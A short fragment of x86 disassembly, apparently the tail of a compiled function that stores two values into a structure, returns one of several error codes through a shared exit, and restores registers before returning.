mov dword [ebx + 0x4e014], eax
mov dword [ebx + 0x4e010], ecx
xor eax, eax
jmp 0x420a53
xor eax, eax
dec eax
jmp 0x420a53
mov eax, 0xfffffff5
jmp 0x420a53
mov eax, 0xfffffffe
jmp 0x420a53
mov eax, 0xfffffffd
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret